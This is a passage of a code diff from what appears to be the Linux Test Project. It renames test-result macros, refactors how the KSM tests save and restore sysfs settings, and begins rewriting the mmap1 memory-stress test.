+			if (TST_ERR == EAGAIN)
 				/* there are no more messages */
 				break;
-			else if (TEST_ERRNO == EPIPE)
+			else if (TST_ERR == EPIPE)
 				/* current message was overwritten */
 				continue;
 			else
 				tst_brk(TBROK|TTERRNO, "err reading /dev/kmsg");
-		} else if (TEST_RETURN < bufsize) {
+		} else if (TST_RET < bufsize) {
 			/* lines from kmsg are not NULL terminated */
-			msg[TEST_RETURN] = '\0';
+			msg[TST_RET] = '\0';
 			if (strstr(msg, text_to_find) != NULL) {
 				strncpy(buf, msg, bufsize);
 				msg_found = 1;
@@ -210,10 +210,10 @@
 			if (write(pipefd[1], "", 1) == -1)
 				tst_brk(TBROK|TERRNO, "write to pipe");
 			TEST(read(fd, msg, MAX_MSGSIZE));
-			if (TEST_RETURN == 0)
+			if (TST_RET == 0)
 				break;
-			if (TEST_RETURN == -1 && TEST_ERRNO != EPIPE) {
-				ret = TEST_ERRNO;
+			if (TST_RET == -1 && TST_ERR != EPIPE) {
+				ret = TST_ERR;
 				break;
 			}
 		}
@@ -226,11 +226,11 @@
 	/* parent reads pipe until it reaches eof or until read times out */
 	do {
 		TEST(timed_read(pipefd[0], timeout_usec));
-	} while (TEST_RETURN > 0);
+	} while (TST_RET > 0);
 	SAFE_CLOSE(pipefd[0]);
 
 	/* child is blocked, kill it */
-	if (TEST_RETURN == -2)
+	if (TST_RET == -2)
 		kill(child, SIGTERM);
 	SAFE_WAITPID(child, &status, 0);
 	if (WIFEXITED(status)) {
@@ -252,11 +252,11 @@
 	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
 	TEST(timed_read_kmsg(fd, 5000000));
-	if (TEST_RETURN == -1 && TEST_ERRNO == EAGAIN)
+	if (TST_RET == -1 && TST_ERR == EAGAIN)
 		tst_res(TPASS, "non-block read returned EAGAIN");
 	else
 		tst_res(TFAIL|TTERRNO, "non-block read returned: %ld",
-			TEST_RETURN);
+			TST_RET);
 	SAFE_CLOSE(fd);
 }
 
@@ -268,10 +268,10 @@
 	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY);
 
 	TEST(timed_read_kmsg(fd, 500000));
-	if (TEST_RETURN == -2)
+	if (TST_RET == -2)
 		tst_res(TPASS, "read blocked");
 	else
-		tst_res(TFAIL|TTERRNO, "read returned: %ld", TEST_RETURN);
+		tst_res(TFAIL|TTERRNO, "read returned: %ld", TST_RET);
 	SAFE_CLOSE(fd);
 }
 
@@ -284,10 +284,10 @@
 	fd = SAFE_OPEN("/dev/kmsg", O_RDONLY | O_NONBLOCK);
 
 	TEST(read(fd, msg, 1));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_res(TPASS|TTERRNO, "read failed as expected");
 	else
-		tst_res(TFAIL, "read returned: %ld", TEST_RETURN);
+		tst_res(TFAIL, "read returned: %ld", TST_RET);
 	SAFE_CLOSE(fd);
 }
 
@@ -369,10 +369,10 @@
 
 		TEST(read(fd, msg, sizeof(msg)));
 		SAFE_CLOSE(fd);
-		if (TEST_RETURN != -1)
+		if (TST_RET != -1)
 			break;
 
-		if (TEST_ERRNO == EPIPE)
+		if (TST_ERR == EPIPE)
 			tst_res(TINFO, "msg overwritten, retrying");
 		else
 			tst_res(TFAIL|TTERRNO, "read failed");
@@ -438,16 +438,16 @@
 
 	/* first message is overwritten, so this next read should fail */
 	TEST(read(fd, msg, sizeof(msg)));
-	if (TEST_RETURN == -1 && TEST_ERRNO == EPIPE)
+	if (TST_RET == -1 && TST_ERR == EPIPE)
 		tst_res(TPASS, "read failed with EPIPE as expected");
 	else
-		tst_res(TFAIL|TTERRNO, "read returned: %ld", TEST_RETURN);
+		tst_res(TFAIL|TTERRNO, "read returned: %ld", TST_RET);
 
 	/* seek position is updated to the next available record */
 	tst_res(TINFO, "TEST: Subsequent reads() will return available "
 		"records again");
 	if (find_msg(fd, "", msg, sizeof(msg), 1) != 0)
-		tst_res(TFAIL|TTERRNO, "read returned: %ld", TEST_RETURN);
+		tst_res(TFAIL|TTERRNO, "read returned: %ld", TST_RET);
 	else
 		tst_res(TPASS, "after EPIPE read returned next record");
 
@@ -459,10 +459,10 @@
 	char msg[MAX_MSGSIZE];
 
 	TEST(read(fd, msg, sizeof(msg)));
-	if (TEST_RETURN == -1 && TEST_ERRNO != EPIPE)
+	if (TST_RET == -1 && TST_ERR != EPIPE)
 		tst_brk(TBROK|TTERRNO, "failed to read /dev/kmsg");
 
-	if (TEST_ERRNO == EPIPE)
+	if (TST_ERR == EPIPE)
 		return -1;
 
 	if (get_msg_fields(msg, NULL, seqno) != 0) {
diff --git a/testcases/kernel/mce-test b/testcases/kernel/mce-test
deleted file mode 160000
index 95e136a..0000000
--- a/testcases/kernel/mce-test
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 95e136a3b0cde818448d5fcff5bf75d58600dc0d
diff --git a/testcases/kernel/mem/cpuset/cpuset01.c b/testcases/kernel/mem/cpuset/cpuset01.c
index 354b6fc..853f7fe 100644
--- a/testcases/kernel/mem/cpuset/cpuset01.c
+++ b/testcases/kernel/mem/cpuset/cpuset01.c
@@ -190,5 +190,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
index 550a91e..a230bb7 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c
@@ -111,7 +111,7 @@
 		mmap_sz[i].addr = addr;
 
 		TEST(pthread_create(&tid[i], NULL, thr, &mmap_sz[i]));
-		if (TEST_RETURN)
+		if (TST_RET)
 			tst_brk(TBROK | TRERRNO,
 					"pthread_create failed");
 
@@ -128,7 +128,7 @@
 
 	for (i = 0; i < ARSZ; ++i) {
 		TEST(pthread_join(tid[i], NULL));
-		if (TEST_RETURN)
+		if (TST_RET)
 			tst_brk(TBROK | TRERRNO,
 					"pthread_join failed");
 	}
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
index af2bf4a..4009fd8 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
@@ -72,12 +72,12 @@
 
 	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
 		TEST(shmctl(*(tcases[i].shmid), tcases[i].cmd, tcases[i].sbuf));
-		if (TEST_RETURN != -1) {
+		if (TST_RET != -1) {
 			tst_res(TFAIL, "shmctl succeeded "
 					"unexpectedly");
 			continue;
 		}
-		if (TEST_ERRNO == tcases[i].error) {
+		if (TST_ERR == tcases[i].error) {
 			tst_res(TPASS | TTERRNO, "shmctl failed "
 					"as expected");
 		} else {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
index 63dc4ce..00872e9 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
@@ -98,12 +98,12 @@
 
 	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
 		TEST(shmctl(*(tcases[i].shmid), tcases[i].cmd, tcases[i].sbuf));
-		if (TEST_RETURN != -1) {
+		if (TST_RET != -1) {
 			tst_res(TFAIL, "shmctl succeeded "
 					"unexpectedly");
 			continue;
 		}
-		if (TEST_ERRNO == tcases[i].error)
+		if (TST_ERR == tcases[i].error)
 			tst_res(TPASS | TTERRNO, "shmctl failed "
 					"as expected");
 		else
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
index 8df943e..d1c0e64 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
@@ -66,12 +66,12 @@
 
 	TEST(shmget(*(tcases[i].skey), tcases[i].size_coe * shm_size,
 					tcases[i].flags));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "shmget succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tcases[i].error) {
+	if (TST_ERR != tcases[i].error) {
 		tst_res(TFAIL | TTERRNO,
 			"shmget failed unexpectedly, expected %s",
 			tst_strerrno(tcases[i].error));
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
index 2ea3df9..733a25c 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
@@ -49,11 +49,11 @@
 {
 	TEST(shmget(IPC_PRIVATE, shm_size,
 				SHM_HUGETLB | IPC_CREAT | IPC_EXCL | SHM_RW));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "shmget succeeded unexpectedly");
 		return;
 	}
-	if (TEST_ERRNO == ENOSPC)
+	if (TST_ERR == ENOSPC)
 		tst_res(TPASS | TTERRNO, "shmget failed as expected");
 	else
 		tst_res(TFAIL | TTERRNO, "shmget failed unexpectedly "
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
index ae28bb3..841f527 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
@@ -63,11 +63,11 @@
 static void do_child(void)
 {
 	TEST(shmget(shmkey, shm_size, SHM_HUGETLB | SHM_RW));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "shmget succeeded unexpectedly");
 		return;
 	}
-	if (TEST_ERRNO == EACCES)
+	if (TST_ERR == EACCES)
 		tst_res(TPASS | TTERRNO, "shmget failed as expected");
 	else
 		tst_res(TFAIL | TTERRNO, "shmget failed unexpectedly "
diff --git a/testcases/kernel/mem/include/mem.h b/testcases/kernel/mem/include/mem.h
index 95d0bda..a12c223 100644
--- a/testcases/kernel/mem/include/mem.h
+++ b/testcases/kernel/mem/include/mem.h
@@ -2,6 +2,7 @@
 #define _MEM_H
 #include "config.h"
 #include "tst_test.h"
+#include "ksm_helper.h"
 
 #if defined(__powerpc__) || defined(__powerpc64__)
 #define MAXNODES		256
@@ -42,11 +43,7 @@
 
 /* KSM */
 
-#define PATH_KSM		"/sys/kernel/mm/ksm/"
-
 void create_same_memory(int size, int num, int unit);
-void save_max_page_sharing(void);
-void restore_max_page_sharing(void);
 void test_ksm_merge_across_nodes(unsigned long nr_pages);
 
 /* THP */
diff --git a/testcases/kernel/mem/ksm/ksm01.c b/testcases/kernel/mem/ksm/ksm01.c
index ce96983..e78d3ee 100644
--- a/testcases/kernel/mem/ksm/ksm01.c
+++ b/testcases/kernel/mem/ksm/ksm01.c
@@ -69,8 +69,6 @@
 	if (access(PATH_KSM, F_OK) == -1)
 		tst_brk(TCONF, "KSM configuration is not enabled");
 
-	save_max_page_sharing();
-
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
 	/*
@@ -92,8 +90,6 @@
 	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0)
 		FILE_PRINTF(PATH_KSM "merge_across_nodes",
 				 "%d", merge_across_nodes);
-
-	restore_max_page_sharing();
 }
 
 static struct tst_test test = {
@@ -102,6 +98,7 @@
 	.options = ksm_options,
 	.setup = setup,
 	.cleanup = cleanup,
+	.save_restore = save_restore,
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
 };
diff --git a/testcases/kernel/mem/ksm/ksm02.c b/testcases/kernel/mem/ksm/ksm02.c
index e8ac8aa..3d4c19d 100644
--- a/testcases/kernel/mem/ksm/ksm02.c
+++ b/testcases/kernel/mem/ksm/ksm02.c
@@ -50,19 +50,16 @@
 #include <sys/stat.h>
 #include <errno.h>
 #include <fcntl.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
 #include "mem.h"
 #include "ksm_common.h"
 
-#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
+#ifdef HAVE_NUMA_V2
+#include <numaif.h>
+
+static int cpuset_mounted;
 
 static void verify_ksm(void)
 {
@@ -91,16 +88,14 @@
 		FILE_PRINTF(PATH_KSM "merge_across_nodes",
 				 "%d", merge_across_nodes);
 
-	restore_max_page_sharing();
-
-	umount_mem(CPATH, CPATH_NEW);
+	if (cpuset_mounted)
+		umount_mem(CPATH, CPATH_NEW);
 }
 
 static void setup(void)
 {
 	if (access(PATH_KSM, F_OK) == -1)
 		tst_brk(TCONF, "KSM configuration is not enabled");
-	save_max_page_sharing();
 
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
@@ -111,6 +106,7 @@
 	}
 
 	mount_mem("cpuset", "cpuset", NULL, CPATH, CPATH_NEW);
+	cpuset_mounted = 1;
 }
 
 static struct tst_test test = {
@@ -119,10 +115,11 @@
 	.options = ksm_options,
 	.setup = setup,
 	.cleanup = cleanup,
+	.save_restore = save_restore,
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/ksm/ksm03.c b/testcases/kernel/mem/ksm/ksm03.c
index 51cc923..0e51316 100644
--- a/testcases/kernel/mem/ksm/ksm03.c
+++ b/testcases/kernel/mem/ksm/ksm03.c
@@ -59,6 +59,8 @@
 #include "mem.h"
 #include "ksm_common.h"
 
+static int memcg_mounted;
+
 static void verify_ksm(void)
 {
 	write_memcg();
@@ -76,9 +78,9 @@
 		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
 	}
 
-	save_max_page_sharing();
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 	mount_mem("memcg", "cgroup", "memory", MEMCG_PATH, MEMCG_PATH_NEW);
+	memcg_mounted = 1;
 }
 
 static void cleanup(void)
@@ -87,9 +89,8 @@
 		FILE_PRINTF(PATH_KSM "merge_across_nodes",
 				 "%d", merge_across_nodes);
 
-	restore_max_page_sharing();
-
-	umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
+	if (memcg_mounted)
+		umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
 }
 
 static struct tst_test test = {
@@ -98,6 +99,7 @@
 	.options = ksm_options,
 	.setup = setup,
 	.cleanup = cleanup,
+	.save_restore = save_restore,
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
 };
diff --git a/testcases/kernel/mem/ksm/ksm04.c b/testcases/kernel/mem/ksm/ksm04.c
index 1070bfb..e393dbd 100644
--- a/testcases/kernel/mem/ksm/ksm04.c
+++ b/testcases/kernel/mem/ksm/ksm04.c
@@ -50,19 +50,17 @@
 #include <sys/stat.h>
 #include <errno.h>
 #include <fcntl.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
 #include "mem.h"
 #include "ksm_common.h"
 
-#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
+#ifdef HAVE_NUMA_V2
+#include <numaif.h>
+
+static int cpuset_mounted;
+static int memcg_mounted;
 
 static void verify_ksm(void)
 {
@@ -93,10 +91,10 @@
 		FILE_PRINTF(PATH_KSM "merge_across_nodes",
 				 "%d", merge_across_nodes);
 
-	restore_max_page_sharing();
-
-	umount_mem(CPATH, CPATH_NEW);
-	umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
+	if (cpuset_mounted)
+		umount_mem(CPATH, CPATH_NEW);
+	if (memcg_mounted)
+		umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
 }
 
 static void setup(void)
@@ -110,11 +108,12 @@
 		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
 	}
 
-	save_max_page_sharing();
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
 	mount_mem("cpuset", "cpuset", NULL, CPATH, CPATH_NEW);
+	cpuset_mounted = 1;
 	mount_mem("memcg", "cgroup", "memory", MEMCG_PATH, MEMCG_PATH_NEW);
+	memcg_mounted = 1;
 }
 
 static struct tst_test test = {
@@ -123,10 +122,11 @@
 	.options = ksm_options,
 	.setup = setup,
 	.cleanup = cleanup,
+	.save_restore = save_restore,
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/ksm/ksm05.c b/testcases/kernel/mem/ksm/ksm05.c
index f3bfbf4..f715dc5 100644
--- a/testcases/kernel/mem/ksm/ksm05.c
+++ b/testcases/kernel/mem/ksm/ksm05.c
@@ -52,7 +52,7 @@
 
 #ifdef HAVE_MADV_MERGEABLE
 
-static int ksm_run_orig;
+static int ksm_run_orig = -1;
 static void sighandler(int sig);
 
 static void test_ksm(void)
@@ -67,7 +67,7 @@
 	sa.sa_handler = sighandler;
 	sa.sa_flags = 0;
 	TEST(sigaction(SIGSEGV, &sa, NULL));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TRERRNO,
 				"SIGSEGV signal setup failed");
 
@@ -78,7 +78,7 @@
 		ptr = SAFE_MEMALIGN(ps, ps);
 		if (madvise(ptr, ps, MADV_MERGEABLE) < 0)
 			tst_brk(TBROK | TERRNO, "madvise");
-		*(char *)NULL = 0;	/* SIGSEGV occurs as expected. */
+		*(volatile char *)NULL = 0; /* SIGSEGV occurs as expected. */
 	}
 	SAFE_WAITPID(pid, &status, WUNTRACED | WCONTINUED);
 	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
@@ -107,7 +107,8 @@
 static void cleanup(void)
 {
 	/* restore /sys/kernel/mm/ksm/run value */
-	FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig);
+	if (ksm_run_orig > 0)
+		FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/ksm/ksm06.c b/testcases/kernel/mem/ksm/ksm06.c
index 050c632..7f2f3c4 100644
--- a/testcases/kernel/mem/ksm/ksm06.c
+++ b/testcases/kernel/mem/ksm/ksm06.c
@@ -28,12 +28,6 @@
 #include <limits.h>
 #include <errno.h>
 #include <fcntl.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
@@ -42,7 +36,8 @@
 #include "mem.h"
 #include "numa_helper.h"
 
-#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
+#ifdef HAVE_NUMA_V2
+#include <numaif.h>
 
 static int run = -1;
 static int sleep_millisecs = -1;
@@ -55,6 +50,11 @@
 	{NULL, NULL, NULL}
 };
 
+static const char * const save_restore[] = {
+	"?/sys/kernel/mm/ksm/max_page_sharing",
+	NULL,
+};
+
 static void test_ksm(void)
 {
 	if (n_opt)
@@ -70,8 +70,6 @@
 	if (access(PATH_KSM "merge_across_nodes", F_OK) == -1)
 		tst_brk(TCONF, "no merge_across_nodes sysfs knob");
 
-	save_max_page_sharing();
-
 	if (!is_numa(NULL, NH_MEMS, 2))
 		tst_brk(TCONF, "The case needs a NUMA system.");
 
@@ -95,8 +93,6 @@
 
 	if (run != -1)
 		FILE_PRINTF(PATH_KSM "run", "%d", run);
-
-	restore_max_page_sharing();
 }
 
 static struct tst_test test = {
@@ -104,9 +100,10 @@
 	.options = ksm_options,
 	.setup = setup,
 	.cleanup = cleanup,
+	.save_restore = save_restore,
 	.test_all = test_ksm,
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/ksm/ksm_common.h b/testcases/kernel/mem/ksm/ksm_common.h
index 6a682d0..a6e0747 100644
--- a/testcases/kernel/mem/ksm/ksm_common.h
+++ b/testcases/kernel/mem/ksm/ksm_common.h
@@ -46,3 +46,8 @@
 				"the remainder of division of size by unit is "
 				"not zero.");
 }
+
+static const char * const save_restore[] = {
+	"?/sys/kernel/mm/ksm/max_page_sharing",
+	NULL,
+};
diff --git a/testcases/kernel/mem/lib/mem.c b/testcases/kernel/mem/lib/mem.c
index 7f2099b..ec17920 100644
--- a/testcases/kernel/mem/lib/mem.c
+++ b/testcases/kernel/mem/lib/mem.c
@@ -27,6 +27,8 @@
 
 /* OOM */
 
+long overcommit = -1;
+
 static int alloc_mem(long int length, int testcase)
 {
 	char *s;
@@ -89,13 +91,13 @@
 	for (i = 0; i < threads; i++) {
 		TEST(pthread_create(&th[i], NULL, child_alloc_thread,
 			(void *)((long)testcase)));
-		if (TEST_RETURN) {
+		if (TST_RET) {
 			tst_res(TINFO | TRERRNO, "pthread_create");
 			/*
 			 * Keep going if thread other than first fails to
 			 * spawn due to lack of resources.
 			 */
-			if (i == 0 || TEST_RETURN != EAGAIN)
+			if (i == 0 || TST_RET != EAGAIN)
 				goto out;
 		}
 	}
@@ -237,22 +239,6 @@
 
 /* KSM */
 
-static int max_page_sharing;
-
-void save_max_page_sharing(void)
-{
-	if (access(PATH_KSM "max_page_sharing", F_OK) == 0)
-		SAFE_FILE_SCANF(PATH_KSM "max_page_sharing",
-				"%d", &max_page_sharing);
-}
-
-void restore_max_page_sharing(void)
-{
-	if (access(PATH_KSM "max_page_sharing", F_OK) == 0)
-	        FILE_PRINTF(PATH_KSM "max_page_sharing",
-	                         "%d", max_page_sharing);
-}
-
 static void check(char *path, long int value)
 {
 	char fullpath[BUFSIZ];
@@ -268,33 +254,6 @@
 		tst_res(TPASS, "%s is %ld.", path, actual_val);
 }
 
-static void wait_ksmd_full_scan(void)
-{
-	unsigned long full_scans, at_least_one_full_scan;
-	int count = 0;
-
-	SAFE_FILE_SCANF(PATH_KSM "full_scans", "%lu", &full_scans);
-	/*
-	 * The current scan is already in progress so we can't guarantee that
-	 * the get_user_pages() is called on every existing rmap_item if we
-	 * only waited for the remaining part of the scan.
-	 *
-	 * The actual merging happens after the unstable tree has been built so
-	 * we need to wait at least two full scans to guarantee merging, hence
-	 * wait full_scans to increment by 3 so that at least two full scans
-	 * will run.
-	 */
-	at_least_one_full_scan = full_scans + 3;
-	while (full_scans < at_least_one_full_scan) {
-		sleep(1);
-		count++;
-		SAFE_FILE_SCANF(PATH_KSM "full_scans", "%lu", &full_scans);
-	}
-
-	tst_res(TINFO, "ksm daemon takes %ds to run two full scans",
-		count);
-}
-
 static void final_group_check(int run, int pages_shared, int pages_sharing,
 			  int pages_volatile, int pages_unshared,
 			  int sleep_millisecs, int pages_to_scan)
diff --git a/testcases/kernel/mem/mmapstress/mmapstress08.c b/testcases/kernel/mem/mmapstress/mmapstress08.c
index f530068..c5cf0fb 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress08.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress08.c
@@ -81,7 +81,6 @@
 		local_flag = FAILED;
 		anyfail();
 	}
-	mmapaddr = 0;
 	/* burn level 2 ptes by spacing mmaps 4Meg apart */
 	/* This should switch to large anonymous swap space granularity */
 	for (i = 0; i < GRAN_NUMBER; i++) {
diff --git a/testcases/kernel/mem/mmapstress/mmapstress10.c b/testcases/kernel/mem/mmapstress/mmapstress10.c
index 482933b..cf8403e 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress10.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress10.c
@@ -887,7 +887,7 @@
 {
 	if (!leavefile)
 		(void)unlink(filename);
-	exit(1);
+	_exit(1);
 }
 
 void clean_mapper(int sig)
@@ -895,14 +895,14 @@
 	if (fd_mapper)
 		close(fd_mapper);
 	munmap(maddr_mapper, mapsize_mapper);
-	exit(0);
+	_exit(0);
 }
 
 void clean_writer(int sig)
 {
 	if (fd_writer)
 		close(fd_writer);
-	exit(0);
+	_exit(0);
 }
 
 unsigned int initrand(void)
diff --git a/testcases/kernel/mem/mtest06/mmap1.c b/testcases/kernel/mem/mtest06/mmap1.c
index 8894b0d..6e8269b 100644
--- a/testcases/kernel/mem/mtest06/mmap1.c
+++ b/testcases/kernel/mem/mtest06/mmap1.c
@@ -1,420 +1,248 @@
-/******************************************************************************/
-/*									      */
-/* Copyright (c) International Business Machines  Corp., 2001		      */
-/* Copyright (c) 2001 Manoj Iyer <manjo@austin.ibm.com>                       */
-/* Copyright (c) 2003 Robbie Williamson <robbiew@us.ibm.com>                  */
-/* Copyright (c) 2004 Paul Larson <plars@linuxtestproject.org>                */
-/* Copyright (c) 2007 <rsalveti@linux.vnet.ibm.com>                           */
-/* Copyright (c) 2007 Suzuki K P <suzuki@in.ibm.com>                          */
-/* Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>                          */
-/*									      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.					      */
-/*									      */
-/* This program is distributed in the hope that it will be useful,	      */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	      */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See	              */
-/* the GNU General Public License for more details.			      */
-/*									      */
-/* You should have received a copy of the GNU General Public License	      */
-/* along with this program;  if not, write to the Free Software		      */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									      */
-/******************************************************************************/
-/******************************************************************************/
-/* Description:	Test the LINUX memory manager. The program is aimed at        */
-/*		stressing the memory manager by simultanious map/unmap/read   */
-/*		by light weight processes, the test is scheduled to run for   */
-/*		a mininum of 24 hours.					      */
-/*									      */
-/*		Create two light weight processes X and Y.                    */
-/*		X - maps, writes  and unmap a file in a loop.	              */
-/*		Y - read from this mapped region in a loop.		      */
-/*	        read must be a success between map and unmap of the region.   */
-/*									      */
-/******************************************************************************/
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <unistd.h>
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Jan Stancek. All rights reserved.
+ */
+/*
+ * Test: Spawn 2 threads. First thread maps, writes and unmaps
+ * an area. Second thread tries to read from it. Second thread
+ * races against first thread. There is no synchronization
+ * between threads, but each mmap/munmap increases a counter
+ * that is checked to determine when has read occurred. If a read
+ * hit SIGSEGV in between mmap/munmap it is a failure. If a read
+ * between mmap/munmap worked, then its value must match expected
+ * value.
+ */
 #include <errno.h>
-#include <sys/mman.h>
-#include <sched.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <sys/time.h>
-#include <sys/wait.h>
-#include <setjmp.h>
+#include <float.h>
 #include <pthread.h>
-#include <signal.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <sched.h>
+#include <setjmp.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
 
 #define DISTANT_MMAP_SIZE (64*1024*1024)
-#define OPT_MISSING(prog, opt) do { \
-	fprintf(stderr, "%s: option -%c ", prog, opt); \
-        fprintf(stderr, "requires an argument\n"); \
-	usage(prog); \
-} while (0)
+#define TEST_FILENAME "ashfile"
 
-static int verbose_print = 0;
-static char *volatile map_address;
-static jmp_buf jmpbuf;
-static volatile char read_lock = 0;
+/* seconds remaining before reaching timeout */
+#define STOP_THRESHOLD 10
+
+#define PROGRESS_SEC 3
+
+static int file_size = 1024;
+static int num_iter = 5000;
+static float exec_time = 0.05; /* default is 3 min */
+
 static void *distant_area;
+static char *str_exec_time;
+static jmp_buf jmpbuf;
+static volatile unsigned char *map_address;
+static unsigned long page_sz;
 
-char *TCID = "mmap1";
-int TST_TOTAL = 1;
+static unsigned long mapped_sigsegv_count;
+static unsigned long map_count;
+static unsigned long threads_spawned;
+static unsigned long data_matched;
+static unsigned long repeated_reads;
 
-static void sig_handler(int signal, siginfo_t * info, void *ut)
+/* sequence id for each map/unmap performed */
+static int mapcnt, unmapcnt;
+/* stored sequence id before making read attempt */
+static int br_map, br_unmap;
+
+static struct tst_option options[] = {
+	{"x:", &str_exec_time, "Exec time (hours)"},
+	{NULL, NULL, NULL}
+};
+
+/* compare "before read" counters  with "after read" counters */
+static inline int was_area_mapped(int br_m, int br_u, int ar_m, int ar_u)
 {
+	return (br_m == ar_m && br_u == ar_u && br_m > br_u);
+}
+
+static void sig_handler(int signal, siginfo_t *info,
+	LTP_ATTRIBUTE_UNUSED void *ut)
+{
+	int ar_m, ar_u;
+
 	switch (signal) {
-	case SIGALRM:
-		tst_resm(TPASS, "Test ended, success");
-		_exit(TPASS);
 	case SIGSEGV:
+		/* if we hit SIGSEGV between map/unmap, something is wrong */
+		ar_u = tst_atomic_load(&unmapcnt);
